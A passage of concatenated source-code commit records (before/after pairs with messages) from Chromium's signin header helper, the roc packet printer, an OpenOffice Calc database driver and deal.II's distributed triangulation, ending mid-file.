(io_data->is_incognito() ||\n       io_data->google_services_username()->GetValue().empty()) {\n     return;\n   }\n\n  \/\/ Only set the header for Gaia (in the mirror world) and Drive. Gaia needs\n  \/\/ the header to redirect certain user actions to Chrome native UI. Drive\n  \/\/ needs the header to tell if the current user is connected. The drive path\n  \/\/ is a temporary workaround until the more generic chrome.principals API is\n  \/\/ available.\n  const GURL& url = redirect_url.is_empty() ? request->url() : redirect_url;\n  GURL origin(url.GetOrigin());\n  bool is_gaia_origin = !switches::IsEnableWebBasedSignin() &&\n      switches::IsNewProfileManagement() &&\n      gaia::IsGaiaSignonRealm(origin);\n  if (!is_gaia_origin && !IsDriveOrigin(origin))\n    return;\n\n  ExtensionRendererState* renderer_state =\n      ExtensionRendererState::GetInstance();\n  ExtensionRendererState::WebViewInfo webview_info;\n  bool is_guest = renderer_state->GetWebViewInfo(\n      child_id, route_id, &webview_info);\n  if (is_guest && webview_info.embedder_extension_id == kGaiaAuthExtensionID){\n    return;\n  }\n\n  std::string account_id(io_data->google_services_account_id()->GetValue());\n  if (account_id.empty())\n    account_id = \"1\"; \/\/ Dummy value if focus ID not available yet.\n\n  request->SetExtraRequestHeaderByName(\n      kChromeConnectedHeader, account_id, false);\n}\n\nvoid ProcessMirrorResponseHeaderIfExists(\n    net::URLRequest* request,\n    ProfileIOData* io_data,\n    int child_id,\n    int route_id) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::IO));\n\n  if (gaia::IsGaiaSignonRealm(request->url().GetOrigin()) &&\n      request->response_headers()->HasHeader(kChromeManageAccountsHeader)) {\n    DCHECK(switches::IsNewProfileManagement() &&\n           !io_data->is_incognito());\n    content::BrowserThread::PostTask(\n        content::BrowserThread::UI, FROM_HERE,\n        base::Bind(ShowAvatarBubbleUIThread, child_id, route_id));\n  }\n}\n\n} \/\/ namespace signin\n<commit_msg>Enables x-chrome-connected header for all google properties<commit_after>\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/signin\/signin_header_helper.h\"\n\n#include \"chrome\/browser\/extensions\/extension_renderer_state.h\"\n#include \"chrome\/browser\/google\/google_util.h\"\n#include \"chrome\/browser\/profiles\/profile_io_data.h\"\n#include \"chrome\/browser\/tab_contents\/tab_util.h\"\n#include \"chrome\/browser\/ui\/browser_finder.h\"\n#include \"chrome\/browser\/ui\/browser_window.h\"\n#include \"chrome\/common\/profile_management_switches.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/web_contents.h\"\n#include \"google_apis\/gaia\/gaia_auth_util.h\"\n#include \"net\/http\/http_response_headers.h\"\n#include \"net\/url_request\/url_request.h\"\n\n#if defined(OS_ANDROID)\n#include \"chrome\/browser\/android\/signin\/account_management_screen_helper.h\"\n#endif  \/\/ defined(OS_ANDROID)\n\nnamespace {\n\nconst char kChromeConnectedHeader[] = \"X-Chrome-Connected\";\nconst char kChromeManageAccountsHeader[] = \"X-Chrome-Manage-Accounts\";\nconst char kGaiaAuthExtensionID[] = \"mfffpogegjflfpflabcdkioaeobkgjik\";\n\n\/\/ Show profile avatar bubble on UI thread. Must be called on the UI thread.\nvoid ShowAvatarBubbleUIThread(int child_id, int route_id) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::UI));\n\n  content::WebContents* web_contents =\n      tab_util::GetWebContentsByID(child_id, route_id);\n  if (!web_contents)\n    return;\n\n#if !defined(OS_ANDROID)\n  Browser* browser = chrome::FindBrowserWithWebContents(web_contents);\n  if (browser)\n    browser->window()->ShowAvatarBubbleFromAvatarButton();\n  \/\/ TODO(guohui): need to handle the case when avatar button is not available.\n#else  \/\/ defined(OS_ANDROID)\n  AccountManagementScreenHelper::OpenAccountManagementScreen(\n      Profile::FromBrowserContext(web_contents->GetBrowserContext()));\n#endif \/\/ OS_ANDROID\n}\n\nbool IsDriveOrigin(const GURL& url) {\n  if (!url.SchemeIsSecure())\n    return false;\n\n  const GURL kGoogleDriveURL(\"https:\/\/drive.google.com\");\n  const GURL kGoogleDocsURL(\"https:\/\/docs.google.com\");\n  return url == kGoogleDriveURL || url == kGoogleDocsURL;\n}\n\n} \/\/ empty namespace\n\nnamespace signin {\n\nvoid AppendMirrorRequestHeaderIfPossible(\n    net::URLRequest* request,\n    const GURL& redirect_url,\n    ProfileIOData* io_data,\n    int child_id,\n    int route_id) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::IO));\n\n   if (io_data->is_incognito() ||\n       io_data->google_services_username()->GetValue().empty()) {\n     return;\n   }\n\n  \/\/ Only set the header for Drive always, and other Google properties if\n  \/\/ new-profile-management is enabled.\n  \/\/ Vasquette, which is integrated with most Google properties, needs the\n  \/\/ header to redirect certain user actions to Chrome native UI. Drive needs\n  \/\/ the header to tell if the current user is connected. The drive path is a\n  \/\/ temporary workaround until the more generic chrome.principals API is\n  \/\/ available.\n  const GURL& url = redirect_url.is_empty() ? request->url() : redirect_url;\n  GURL origin(url.GetOrigin());\n  bool is_google_url =\n      !switches::IsEnableWebBasedSignin() &&\n      switches::IsNewProfileManagement() &&\n      google_util::IsGoogleDomainUrl(\n          url,\n          google_util::ALLOW_SUBDOMAIN,\n          google_util::DISALLOW_NON_STANDARD_PORTS);\n  if (!is_google_url && !IsDriveOrigin(origin))\n    return;\n\n  ExtensionRendererState* renderer_state =\n      ExtensionRendererState::GetInstance();\n  ExtensionRendererState::WebViewInfo webview_info;\n  bool is_guest = renderer_state->GetWebViewInfo(\n      child_id, route_id, &webview_info);\n  if (is_guest && webview_info.embedder_extension_id == kGaiaAuthExtensionID){\n    return;\n  }\n\n  std::string account_id(io_data->google_services_account_id()->GetValue());\n  if (account_id.empty())\n    account_id = \"1\"; \/\/ Dummy value if focus ID not available yet.\n\n  request->SetExtraRequestHeaderByName(\n      kChromeConnectedHeader, account_id, false);\n}\n\nvoid ProcessMirrorResponseHeaderIfExists(\n    net::URLRequest* request,\n    ProfileIOData* io_data,\n    int child_id,\n    int route_id) {\n  DCHECK(content::BrowserThread::CurrentlyOn(content::BrowserThread::IO));\n\n  if (gaia::IsGaiaSignonRealm(request->url().GetOrigin()) &&\n      request->response_headers()->HasHeader(kChromeManageAccountsHeader)) {\n    DCHECK(switches::IsNewProfileManagement() &&\n           !io_data->is_incognito());\n    content::BrowserThread::PostTask(\n        content::BrowserThread::UI, FROM_HERE,\n        base::Bind(ShowAvatarBubbleUIThread, child_id, route_id));\n  }\n}\n\n} \/\/ namespace signin\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2015 Mikhail Baranov\n * Copyright (c) 2015 Victor Gaydov\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdio.h>\n\n#include \"roc_core\/print.h\"\n#include \"roc_packet\/address_to_str.h\"\n#include \"roc_packet\/packet.h\"\n#include \"roc_packet\/print.h\"\n\nnamespace roc {\nnamespace packet {\n\nvoid print(const Packet& p, int flags) {\n    if (p.udp()) {\n        fprintf(stderr, \"udp: src=%s dst=%s\\n\", address_to_str(p.udp()->src_addr).c_str(),\n                address_to_str(p.udp()->dst_addr).c_str());\n    }\n\n    if (p.rtp()) {\n        fprintf(stderr, \"rtp: src=%lu m=%d, sn=%lu, ts=%lu dur=%lu pt=%u payload=%lu\\n\",\n                (unsigned long)p.rtp()->source, (int)p.rtp()->marker,\n                (unsigned long)p.rtp()->seqnum, (unsigned long)p.rtp()->timestamp,\n                (unsigned long)p.rtp()->duration, (unsigned int)p.rtp()->payload_type,\n                (unsigned long)p.rtp()->payload.size());\n\n        if ((flags & PrintPayload) && p.rtp()->payload) {\n            core::print_bytes(p.rtp()->payload.data(), p.rtp()->payload.size());\n        }\n    }\n\n    if (p.fec()) {\n        fprintf(stderr, \"fec: data_blk\/fec_blk=%lu payload=%lu\\n\",\n                (unsigned long)p.fec()->blknum, (unsigned long)p.fec()->payload.size());\n\n        if ((flags & PrintPayload) && p.fec()->payload) {\n            core::print_bytes(p.fec()->payload.data(), p.fec()->payload.size());\n        }\n    }\n}\n\n} \/\/ namespace packet\n} \/\/ namespace roc\n<commit_msg>roc_packet: Fix print()<commit_after>\/*\n * Copyright (c) 2015 Mikhail Baranov\n * Copyright (c) 2015 Victor Gaydov\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#include <stdio.h>\n\n#include \"roc_core\/print.h\"\n#include \"roc_packet\/address_to_str.h\"\n#include \"roc_packet\/packet.h\"\n#include \"roc_packet\/print.h\"\n\nnamespace roc {\nnamespace packet {\n\nvoid print(const Packet& p, int flags) {\n    if (p.udp()) {\n        fprintf(stderr, \"udp: src=%s dst=%s\\n\", address_to_str(p.udp()->src_addr).c_str(),\n                address_to_str(p.udp()->dst_addr).c_str());\n    }\n\n    if (p.rtp()) {\n        fprintf(stderr, \"rtp: src=%lu m=%d sn=%lu ts=%lu dur=%lu pt=%u payload=%lu\\n\",\n                (unsigned long)p.rtp()->source, (int)p.rtp()->marker,\n                (unsigned long)p.rtp()->seqnum, (unsigned long)p.rtp()->timestamp,\n                (unsigned long)p.rtp()->duration, (unsigned int)p.rtp()->payload_type,\n                (unsigned long)p.rtp()->payload.size());\n\n        if ((flags & PrintPayload) && p.rtp()->payload) {\n            core::print_bytes(p.rtp()->payload.data(), p.rtp()->payload.size());\n        }\n    }\n\n    if (p.fec()) {\n        fprintf(stderr, \"fec: blk=%lu payload=%lu\\n\",\n                (unsigned long)p.fec()->blknum, (unsigned long)p.fec()->payload.size());\n\n        if ((flags & PrintPayload) && p.fec()->payload) {\n            core::print_bytes(p.fec()->payload.data(), p.fec()->payload.size());\n        }\n    }\n}\n\n} \/\/ namespace packet\n} \/\/ namespace roc\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: CDriver.cxx,v $\n *\n *  $Revision: 1.4 $\n *\n *  last change: $Author: oj $ $Date: 2002-08-21 13:15:00 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_CALC_DRIVER_HXX_\n#include \"calc\/CDriver.hxx\"\n#endif\n#ifndef _CONNECTIVITY_CALC_CONNECTION_HXX_\n#include \"calc\/CConnection.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_LANG_DISPOSEDEXCEPTION_HPP_\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#endif\n#ifndef _DBHELPER_DBEXCEPTION_HXX_\n#include \"connectivity\/dbexception.hxx\"\n#endif\n\nusing namespace connectivity::calc;\nusing namespace connectivity::file;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::lang;\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ static ServiceInfo\n\nrtl::OUString ODriver::getImplementationName_Static(  ) throw(RuntimeException)\n{\n    return rtl::OUString::createFromAscii(\"com.sun.star.comp.sdbc.calc.ODriver\");\n}\n\n::rtl::OUString SAL_CALL ODriver::getImplementationName(  ) throw(RuntimeException)\n{\n    return getImplementationName_Static();\n}\n\n\/\/ service names from file::OFileDriver\n\n\/\/------------------------------------------------------------------\n\n::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > SAL_CALL\n    connectivity::calc::ODriver_CreateInstance(const ::com::sun::star::uno::Reference<\n        ::com::sun::star::lang::XMultiServiceFactory >& _rxFactory) throw( ::com::sun::star::uno::Exception )\n{\n    return *(new ODriver(_rxFactory));\n}\n\nReference< XConnection > SAL_CALL ODriver::connect( const ::rtl::OUString& url,\n    const Sequence< PropertyValue >& info ) throw(SQLException, RuntimeException)\n{\n    ::osl::MutexGuard aGuard( m_aMutex );\n    if (ODriver_BASE::rBHelper.bDisposed)\n        throw DisposedException();\n\n    if ( ! acceptsURL(url) )\n        return NULL;\n\n    OCalcConnection* pCon = new OCalcConnection(this);\n    pCon->construct(url,info);\n    Reference< XConnection > xCon = pCon;\n    m_xConnections.push_back(WeakReferenceHelper(*pCon));\n\n    return xCon;\n}\n\nsal_Bool SAL_CALL ODriver::acceptsURL( const ::rtl::OUString& url )\n                throw(SQLException, RuntimeException)\n{\n    if(!url.compareTo(::rtl::OUString::createFromAscii(\"sdbc:calc:\"),10))\n    {\n        return sal_True;\n    }\n    return sal_False;\n}\n\n\n<commit_msg>INTEGRATION: CWS insight01 (1.4.94); FILE MERGED 2003\/08\/04 06:11:36 oj 1.4.94.1: #111075# ongoing work<commit_after>\/*************************************************************************\n *\n *  $RCSfile: CDriver.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: hr $ $Date: 2004-08-02 16:59:02 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _CONNECTIVITY_CALC_DRIVER_HXX_\n#include \"calc\/CDriver.hxx\"\n#endif\n#ifndef _CONNECTIVITY_CALC_CONNECTION_HXX_\n#include \"calc\/CConnection.hxx\"\n#endif\n#ifndef _COM_SUN_STAR_LANG_DISPOSEDEXCEPTION_HPP_\n#include <com\/sun\/star\/lang\/DisposedException.hpp>\n#endif\n#ifndef _DBHELPER_DBEXCEPTION_HXX_\n#include \"connectivity\/dbexception.hxx\"\n#endif\n\nusing namespace connectivity::calc;\nusing namespace connectivity::file;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::lang;\n\n\n\/\/------------------------------------------------------------------------------\n\/\/ static ServiceInfo\n\nrtl::OUString ODriver::getImplementationName_Static(  ) throw(RuntimeException)\n{\n    return rtl::OUString::createFromAscii(\"com.sun.star.comp.sdbc.calc.ODriver\");\n}\n\n::rtl::OUString SAL_CALL ODriver::getImplementationName(  ) throw(RuntimeException)\n{\n    return getImplementationName_Static();\n}\n\n\/\/ service names from file::OFileDriver\n\n\/\/------------------------------------------------------------------\n\n::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > SAL_CALL\n    connectivity::calc::ODriver_CreateInstance(const ::com::sun::star::uno::Reference<\n        ::com::sun::star::lang::XMultiServiceFactory >& _rxFactory) throw( ::com::sun::star::uno::Exception )\n{\n    return *(new ODriver(_rxFactory));\n}\n\nReference< XConnection > SAL_CALL ODriver::connect( const ::rtl::OUString& url,\n    const Sequence< PropertyValue >& info ) throw(SQLException, RuntimeException)\n{\n    ::osl::MutexGuard aGuard( m_aMutex );\n    if (ODriver_BASE::rBHelper.bDisposed)\n        throw DisposedException();\n\n    if ( ! acceptsURL(url) )\n        return NULL;\n\n    OCalcConnection* pCon = new OCalcConnection(this);\n    pCon->construct(url,info);\n    Reference< XConnection > xCon = pCon;\n    m_xConnections.push_back(WeakReferenceHelper(*pCon));\n\n    return xCon;\n}\n\nsal_Bool SAL_CALL ODriver::acceptsURL( const ::rtl::OUString& url )\n                throw(SQLException, RuntimeException)\n{\n    if(!url.compareTo(::rtl::OUString::createFromAscii(\"sdbc:calc:\"),10))\n    {\n        return sal_True;\n    }\n    return sal_False;\n}\n\nSequence< DriverPropertyInfo > SAL_CALL ODriver::getPropertyInfo( const ::rtl::OUString& url, const Sequence< PropertyValue >& info ) throw(SQLException, RuntimeException)\n{\n    if ( !acceptsURL(url) )\n        ::dbtools::throwGenericSQLException(::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Invalid URL!\")) ,*this);\n    return Sequence< DriverPropertyInfo >();\n}\n\/\/ -----------------------------------------------------------------------------\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 2015 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n\n#include <deal.II\/base\/utilities.h>\n#include <deal.II\/base\/memory_consumption.h>\n#include <deal.II\/base\/logstream.h>\n#include <deal.II\/lac\/sparsity_tools.h>\n#include <deal.II\/lac\/sparsity_pattern.h>\n#include <deal.II\/grid\/tria.h>\n#include <deal.II\/grid\/tria_accessor.h>\n#include <deal.II\/grid\/tria_iterator.h>\n#include <deal.II\/grid\/grid_tools.h>\n#include <deal.II\/distributed\/tria_base.h>\n\n\n#include <algorithm>\n#include <numeric>\n#include <iostream>\n#include <fstream>\n\n\nDEAL_II_NAMESPACE_OPEN\n\nnamespace parallel\n{\n\n  template <int dim, int spacedim>\n  Triangulation<dim,spacedim>::Triangulation (MPI_Comm mpi_communicator,\n                                              const typename dealii::Triangulation<dim,spacedim>::MeshSmoothing smooth_grid,\n                                              const bool check_for_distorted_cells)\n    :\n    dealii::Triangulation<dim,spacedim>(smooth_grid,check_for_distorted_cells),\n    mpi_communicator (Utilities::MPI::\n                      duplicate_communicator(mpi_communicator)),\n    my_subdomain (Utilities::MPI::this_mpi_process (this->mpi_communicator)),\n    n_subdomains(Utilities::MPI::n_mpi_processes(mpi_communicator))\n  {\n#ifndef DEAL_II_WITH_MPI\n    Assert(false, ExcMessage(\"You compiled deal.II without MPI support, for \"\n                             \"which parallel::Triangulation is not available.\"));\n#endif\n    number_cache.n_locally_owned_active_cells.resize (n_subdomains);\n  }\n\n  template <int dim, int spacedim>\n  void\n  Triangulation<dim,spacedim>::copy_triangulation (const dealii::Triangulation<dim, spacedim> &old_tria)\n  {\n#ifndef DEAL_II_WITH_MPI\n    Assert(false, ExcNotImplemented());\n#endif\n    if (const dealii::parallel::Triangulation<dim,spacedim> *\n        old_tria_x = dynamic_cast<const dealii::parallel::Triangulation<dim,spacedim> *>(&old_tria))\n      {\n        mpi_communicator = Utilities::MPI::duplicate_communicator (old_tria_x->get_communicator ());\n      }\n  }\n\n\n\n  template <int dim, int spacedim>\n  std::size_t\n  Triangulation<dim,spacedim>::memory_consumption() const\n  {\n    std::size_t mem=\n      this->dealii::Triangulation<dim,spacedim>::memory_consumption()\n      + MemoryConsumption::memory_consumption(mpi_communicator)\n      + MemoryConsumption::memory_consumption(my_subdomain)\n      + MemoryConsumption::memory_consumption(number_cache.n_locally_owned_active_cells)\n      + MemoryConsumption::memory_consumption(number_cache.n_global_active_cells)\n      + MemoryConsumption::memory_consumption(number_cache.n_global_levels);\n    return mem;\n\n  }\n\n  template <int dim, int spacedim>\n  Triangulation<dim,spacedim>::~Triangulation ()\n  {\n#ifdef DEAL_II_WITH_MPI\n    \/\/ get rid of the unique communicator used here again\n    MPI_Comm_free (&this->mpi_communicator);\n#endif\n  }\n\n  template <int dim, int spacedim>\n  Triangulation<dim,spacedim>::NumberCache::NumberCache()\n    :\n    n_global_active_cells(0),\n    n_global_levels(0)\n  {}\n\n  template <int dim, int spacedim>\n  unsigned int\n  Triangulation<dim,spacedim>::n_locally_owned_active_cells () const\n  {\n    return number_cache.n_locally_owned_active_cells[my_subdomain];\n  }\n\n  template <int dim, int spacedim>\n  unsigned int\n  Triangulation<dim,spacedim>::n_global_levels () const\n  {\n    return number_cache.n_global_levels;\n  }\n\n  template <int dim, int spacedim>\n  types::global_dof_index\n  Triangulation<dim,spacedim>::n_global_active_cells () const\n  {\n    return number_cache.n_global_active_cells;\n  }\n\n  template <int dim, int spacedim>\n  const std::vector<unsigned int> &\n  Triangulation<dim,spacedim>::n_locally_owned_active_cells_per_processor () const\n  {\n    return number_cache.n_locally_owned_active_cells;\n  }\n\n  template <int dim, int spacedim>\n  MPI_Comm\n  Triangulation<dim,spacedim>::get_communicator () const\n  {\n    return mpi_communicator;\n  }\n\n#ifdef DEAL_II_WITH_MPI\n  template <int dim, int spacedim>\n  void\n  Triangulation<dim,spacedim>::update_number_cache ()\n  {\n    Assert (number_cache.n_locally_owned_active_cells.size()\n            ==\n            Utilities::MPI::n_mpi_processes (this->mpi_communicator),\n            ExcInternalError());\n\n    std::fill (number_cache.n_locally_owned_active_cells.begin(),\n               number_cache.n_locally_owned_active_cells.end(),\n               0);\n\n    number_cache.ghost_owners.clear ();\n    number_cache.level_ghost_owners.clear ();\n\n    if (this->n_levels() == 0)\n      {\n        \/\/ Skip communication done below if we do not have any cells\n        \/\/ (meaning the Triangulation is empty on all processors). This will\n        \/\/ happen when called from the destructor of Triangulation, which\n        \/\/ can get called during exception handling causing a hang in this\n        \/\/ function.\n        number_cache.n_global_active_cells = 0;\n        number_cache.n_global_levels = 0;\n        return;\n      }\n\n\n    {\n      \/\/ find ghost owners\n      for (typename Triangulation<dim,spacedim>::active_cell_iterator\n           cell = this->begin_active();\n           cell != this->end();\n           ++cell)\n        if (cell->is_ghost())\n          number_cache.ghost_owners.insert(cell->subdomain_id());\n\n      Assert(number_cache.ghost_owners.size() < Utilities::MPI::n_mpi_processes(mpi_communicator), ExcInternalError());\n    }\n\n    if (this->n_levels() > 0)\n      for (typename Triangulation<dim,spacedim>::active_cell_iterator\n           cell = this->begin_active();\n           cell != this->end(); ++cell)\n        if (cell->subdomain_id() == my_subdomain)\n          ++number_cache.n_locally_owned_active_cells[my_subdomain];\n\n    unsigned int send_value\n      = number_cache.n_locally_owned_active_cells[my_subdomain];\n    MPI_Allgather (&send_value,\n                   1,\n                   MPI_UNSIGNED,\n                   &number_cache.n_locally_owned_active_cells[0],\n                   1,\n                   MPI_UNSIGNED,\n                   this->mpi_communicator);\n\n    number_cache.n_global_active_cells\n      = std::accumulate (number_cache.n_locally_owned_active_cells.begin(),\n                         number_cache.n_locally_owned_active_cells.end(),\n                         \/* ensure sum is computed with correct data type:*\/\n                         static_cast<types::global_dof_index>(0));\n    number_cache.n_global_levels = Utilities::MPI::max(this->n_levels(), this->mpi_communicator);\n  }\n#else\n  template <int dim, int spacedim>\n  void\n  Triangulation<dim,spacedim>::update_number_cache ()\n  {\n    Assert (false, ExcNotImplemented());\n  }\n\n#endif\n\n  template <int dim, int spacedim>\n  types::subdomain_id\n  Triangulation<dim,spacedim>::locally_owned_subdomain () const\n  {\n    Assert (dim > 1, ExcNotImplemented());\n    return my_subdomain;\n  }\n\n  template <int dim, int spacedim>\n  const std::set<unsigned int> &\n  Triangulation<dim,spacedim>::\n  ghost_owners () const\n  {\n    return number_cache.ghost_owners;\n  }\n\n  template <int dim, int spacedim>\n  const std::set<unsigned int> &\n  Triangulation<dim,spacedim>::\n  level_ghost_owners () const\n  {\n    return number_cache.level_ghost_owners;\n  }\n\n} \/\/ end namespace parallel\n\n\n\n\n\/*-------------- Explicit Instantiations -------------------------------*\/\n#include \"tria_base.inst\"\n\nDEAL_II_NAMESPACE_CLOSE\n<commit_msg>remove assert in distributed Tria for dim==1<commit_after>\/\/ ---------------------------------------------------------------------\n\/\/\n\/\/ Copyright (C) 2015 by the deal.II authors\n\/\/\n\/\/ This file is part of the deal.II library.\n\/\/\n\/\/ The deal.II library is free software; you can use it, redistribute\n\/\/ it, and\/or modify it under the terms of the GNU Lesser General\n\/\/ Public License as published by the Free Software Foundation; either\n\/\/ version 2.1 of the License, or (at your option) any later version.\n\/\/ The full text of the license can be found in the file LICENSE at\n\/\/ the top level of the deal.II distribution.\n\/\/\n\/\/ ---------------------------------------------------------------------\n\n\n#include <deal.II\/base\/utilities.h>\n#include <deal.II\/base\/memory_consumption.h>\n#include <deal.II\/base\/logstream.h>\n#include <deal.II\/lac\/sparsity_tools.h>\n#include <deal.II\/lac\/sparsity_pattern.h>\n#include <deal.II\/grid\/tria.h>\n#include <deal.II\/grid\/tria_accessor.h>\n#include <deal.II\/grid\/tria_iterator.h>\n#include <deal.II\/grid\/grid_tools.h>\n#include <deal.II\/distributed\/tria_base.h>\n\n\n#include <algorithm>\n#include <numeric>\n#include <iostream>\n#include <fstream>\n\n\nDEAL_II_NAMESPACE_OPEN\n\nnamespace parallel\n{\n\n  template <int dim, int spacedim>\n  Triangulation<dim,spacedim>::Triangulation (MPI_Comm mpi_communicator,\n                                              const typename dealii::Triangulation<dim,spacedim>::MeshSmoothing smooth_grid,\n                                              const bool check_for_distorted_cells)\n    :\n    dealii::Triangulation<dim,spacedim>(smooth_grid,check_for_distorted_cells),\n    mpi_communicator (Utilities::MPI::\n                      duplicate_communicator(mpi_communicator)),\n    my_subdomain (Utilities::MPI::this_mpi_process (this->mpi_communicator)),\n    n_subdomains(Utilities::MPI::n_mpi_processes(mpi_communicator))\n  {\n#ifndef DEAL_II_WITH_MPI\n    Assert(false, ExcMessage(\"You compiled deal.II without MPI support, for \"\n                             \"which parallel::Triangulation is not available.\"));\n#endif\n    number_cache.n_locally_owned_active_cells.resize (n_subdomains);\n  }\n\n  template <int dim, int spacedim>\n  void\n  Triangulation<dim,spacedim>::copy_triangulation (const dealii::Triangulation<dim, spacedim> &old_tria)\n  {\n#ifndef DEAL_II_WITH_MPI\n    Assert(false, ExcNotImplemented());\n#endif\n    if (const dealii::parallel::Triangulation<dim,spacedim> *\n        old_tria_x = dynamic_cast<const dealii::parallel::Triangulation<dim,spacedim> *>(&old_tria))\n      {\n        mpi_communicator = Utilities::MPI::duplicate_communicator (old_tria_x->get_communicator ());\n      }\n  }\n\n\n\n  template <int dim, int spacedim>\n  std::size_t\n  Triangulation<dim,spacedim>::memory_consumption() const\n  {\n    std::size_t mem=\n      this->dealii::Triangulation<dim,spacedim>::memory_consumption()\n      + MemoryConsumption::memory_consumption(mpi_communicator)\n      + MemoryConsumption::memory_consumption(my_subdomain)\n      + MemoryConsumption::memory_consumption(number_cache.n_locally_owned_active_cells)\n      + MemoryConsumption::memory_consumption(number_cache.n_global_active_cells)\n      + MemoryConsumption::memory_consumption(number_cache.n_global_levels);\n    return 